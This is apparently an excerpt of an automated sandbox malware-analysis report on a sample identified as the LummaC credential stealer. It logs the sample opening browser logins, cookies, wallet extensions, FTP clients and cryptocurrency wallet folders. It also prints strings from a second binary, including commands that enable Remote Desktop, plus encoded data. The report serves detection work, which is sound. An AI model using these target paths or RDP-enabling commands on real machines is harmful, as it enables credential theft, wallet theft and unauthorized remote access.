Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match

File source: Process Memory Space: 0516ff61af.exe PID: 8100, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 0516ff61af.exe PID: 8100, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: ed15fdf974.exe PID: 4564, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Contains functionality to start a terminal service

Source: abcebc1047.exe, 00000009.00000002.2515107176.00000000006A1000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: net start termservice
Source: abcebc1047.exe, 00000009.00000002.2515107176.00000000006A1000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set0e18a2a9dd22cd0f87c9fba7075c3b3948cb35e3030a2b429c6ac414faba9b49d5db2dd0959ced207fdd8b109219bbbcf13cc4BnuvLaE3PBVqOVT9ADDsZd4xdpPq1Wyx8iuwQ3lqOCP6Dotm2E==CWUuM8==JCQibyUryWRpdH==AWLpdH==OXGYOxQwQmEaOD==G78XdOVrOpMV1T==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPwL3XhOU==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z VONjflsKcJKx9yDEg3xgOTDBJ7HeceRZfD==JqLqN6RhIt9BLIAETHaXFyaxQ4EcJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPw2rLrZxxqPCz8JLzsZUJfe0D=J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z UThjeJn8TpYxWCXwhx==yZLQRMJOXn0xUXmKGM==MIvtcr==JIZQVr==G4LR00G33rC326G317C3Nqa3N1y32KC330U3OKQ3N1O31LO316332nQ=N7ziZt5ieJoZ05mu y7igHx4N7ziZt5ieJn=N6nmct5ieJn=OHu=OXu=OXy=OXC=I0vmb8==0LHXcuotOz==0LHXcyM4OBZ=O18iOKnpN6Rh2LCu11Dm4qbtA7vYaNVYEKC+EKG+A5rpdNdneqDmzCioxA==5E==yrLraOQ7EU==268ibxwxPlWbdJl=06LvbdVqPCzl1JmxG6LXTdFYd0QcW6aEaCXrXX5i1s==JLzsZUJfeXI9fJuhFZPyUSQeX50dfK3m iW=F1PmcdE=H6vwcxVwf5kWKHmmVc==GZDCVr==JKvrZxEeX5Maf0yuaDm=GKZgdx9wLI5c0j==FZPEBDOtVx9Y1ZoK1ZC6 inYjR==FqbXZxVk2ZWb10x=IqZvdx9sJ6Ztax9xF6ZqbTRtK6brRxVk2ZWb10x=BHuvMqQZQm4VQT==2qy=36y=F6ZrdxVsgFSLg0qqLeDriXxW0Tvj5oItOqZvbJ1i10I9QBqn9ZXs4HFu4PUvDTSrAWQqLJ0rsUfAbT5Y2ZWRNXGu ZDth3lW0S3wGjtk17zqLNRfgJvYKJUm9SW7NnRd3CykGztk00nibdFr2WR xkQHQT9sgJMlfFQZbTDjTjBd2Dvu3XFf3Kbsb 9t16IcfFQEaDLj3X0JrcUMsUeqLJ0rOVR=AWQKC8==E7Dgca0vAqftZn==F6ZrdxVsgFSLg0qqLeDfhIBo0SHj6Hdt1mZ1LOd1gBSdd6yyITXwgHVqNY3mRXI=J5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4S5Yy DXY4YJKNSVnPFFt11rYdxVwWpwk1T==F6ZqcyVY20AF0ZQqN0zgZxVk259gcpix9S7thIFu2ZL36o6241etMKIxQGLTPC6 IR =A1LraNNt2JLkJ5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4XZUuaCXi0nlgOS3eI11MKJzMTwxUVXIwV4l=J5bQVvVL0HEmdqGD9YzR4YQsBzzeM3Nw3qbgZONaTpwqcZCJ8TPugHF1MBTrRHNtKqbhZN9HUD==MHqtMuA=GKLjYOVqgIEcfKGu9ifxQmhOOTHx4INY00ZrGKLjYOVqgIEcfKGu9ifxQmlOOTHx4INY00ZrJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37CdTcRaT6MpepKzaB1jhoNl1YY=JLzsZyVhgHW9dZJ=BnquOH==BnqvM8==BnquN8==BnqvNH==F7LvcdVsgHAScZmpME==Dne32rLrZxxqPCzl107qA6idxrHecTtpdZojKFYrFyangTAexmqjJ BYdZScd6K5FzGeOjYcOCPuAB==ymOdROhngFz=xmqjJ Bw2ZV8xGOjIr==JKZ0ZOJxdJMjdFUqbCW=A0L1ZNNZgJcmdqqA9CnhjTBuOSVx6HNx004rZNQeOXQgdJJlFc==xk==268YdxRtg5V8N0BlITSeRB==27G6cn==2qvrZx9rH6L2Yd9ffpH8VJu 9ZXY2GBuOSrxQXI=BHqtMuAYPWb=BHqtMuAYPmz=BHqtMuAYPmD=BHqtMuAYP5P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
Source: abcebc1047.exe, 00000009.00000000.2506063563.00000000006A1000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: net start termservice
Source: abcebc1047.exe, 00000009.00000000.2506063563.00000000006A1000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set0e18a2a9dd22cd0f87c9fba7075c3b3948cb35e3030a2b429c6ac414faba9b49d5db2dd0959ced207fdd8b109219bbbcf13cc4BnuvLaE3PBVqOVT9ADDsZd4xdpPq1Wyx8iuwQ3lqOCP6Dotm2E==CWUuM8==JCQibyUryWRpdH==AWLpdH==OXGYOxQwQmEaOD==G78XdOVrOpMV1T==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPwL3XhOU==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z VONjflsKcJKx9yDEg3xgOTDBJ7HeceRZfD==JqLqN6RhIt9BLIAETHaXFyaxQ4EcJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPw2rLrZxxqPCz8JLzsZUJfe0D=J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z UThjeJn8TpYxWCXwhx==yZLQRMJOXn0xUXmKGM==MIvtcr==JIZQVr==G4LR00G33rC326G317C3Nqa3N1y32KC330U3OKQ3N1O31LO316332nQ=N7ziZt5ieJoZ05mu y7igHx4N7ziZt5ieJn=N6nmct5ieJn=OHu=OXu=OXy=OXC=I0vmb8==0LHXcuotOz==0LHXcyM4OBZ=O18iOKnpN6Rh2LCu11Dm4qbtA7vYaNVYEKC+EKG+A5rpdNdneqDmzCioxA==5E==yrLraOQ7EU==268ibxwxPlWbdJl=06LvbdVqPCzl1JmxG6LXTdFYd0QcW6aEaCXrXX5i1s==JLzsZUJfeXI9fJuhFZPyUSQeX50dfK3m iW=F1PmcdE=H6vwcxVwf5kWKHmmVc==GZDCVr==JKvrZxEeX5Maf0yuaDm=GKZgdx9wLI5c0j==FZPEBDOtVx9Y1ZoK1ZC6 inYjR==FqbXZxVk2ZWb10x=IqZvdx9sJ6Ztax9xF6ZqbTRtK6brRxVk2ZWb10x=BHuvMqQZQm4VQT==2qy=36y=F6ZrdxVsgFSLg0qqLeDriXxW0Tvj5oItOqZvbJ1i10I9QBqn9ZXs4HFu4PUvDTSrAWQqLJ0rsUfAbT5Y2ZWRNXGu ZDth3lW0S3wGjtk17zqLNRfgJvYKJUm9SW7NnRd3CykGztk00nibdFr2WR xkQHQT9sgJMlfFQZbTDjTjBd2Dvu3XFf3Kbsb 9t16IcfFQEaDLj3X0JrcUMsUeqLJ0rOVR=AWQKC8==E7Dgca0vAqftZn==F6ZrdxVsgFSLg0qqLeDfhIBo0SHj6Hdt1mZ1LOd1gBSdd6yyITXwgHVqNY3mRXI=J5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4S5Yy DXY4YJKNSVnPFFt11rYdxVwWpwk1T==F6ZqcyVY20AF0ZQqN0zgZxVk259gcpix9S7thIFu2ZL36o6241etMKIxQGLTPC6 IR 